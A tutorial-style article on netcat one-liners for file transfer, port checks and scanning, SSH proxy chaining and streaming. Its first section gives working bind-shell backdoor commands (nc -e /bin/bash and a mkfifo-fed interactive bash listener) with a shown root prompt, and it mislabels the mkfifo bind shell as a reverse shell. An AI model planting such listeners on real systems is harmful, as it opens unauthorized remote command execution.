Unlock Netcat: One‑Liner Hacks for Backdoors, File Transfer & Port Scanning

1. Server Backdoor

Start a listener on the target machine that spawns a bash shell on port 5879:

# nc -l -vv -p 5879 -e /bin/bash
Ncat: Version 6.40 (http://nmap.org/ncat )
Ncat: Listening on :::5879
Ncat: Listening on 0.0.0.0:5879

From a remote client connect with:

# nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!

Any command typed on the client runs on the server. Adding -k keeps the listener alive after the client disconnects.

For a more persistent reverse shell, combine mkfifo with a loop:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f

Client side:

$ nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
[root@localhost~]#

2. File and Directory Transfer

Use netcat as a simple, unencrypted file transfer tool.

Server listening and writing to a file:

nc -l 5879 > file

Client sending a tarball:

nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz

Verify integrity with md5sum on both sides – the hashes match.

Transfer directories by piping tar through netcat:

# Server side
nc -l 5879 | tar xfvz -

# Client side
tar cfz - redis-5.0.5 | nc -v 192.16.1.54 5879

3. Network Connectivity Testing

Check whether a remote service is reachable without logging in:

# Simple port check
nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!

Scan a range of ports (useful for quick audits):

nc -vzw 2 192.16.1.54 8888-9999

4. Firewall Traversal

Chain SSH connections with ProxyCommand to reach a host behind multiple firewalls:

ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro

Or a one‑liner using netcat as the proxy:

ssh -oProxyCommand="ssh host1 nc host2 22" host2

5. Other Creative Uses

Run a minimal HTTP time server:

ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK

The date is "; date;'

Stream audio/video over UDP with netcat (example shows capturing audio, encoding with lame, sending via UDP, and playing back with mpg123 on the client):

# Server side
arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -

# Client side
arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -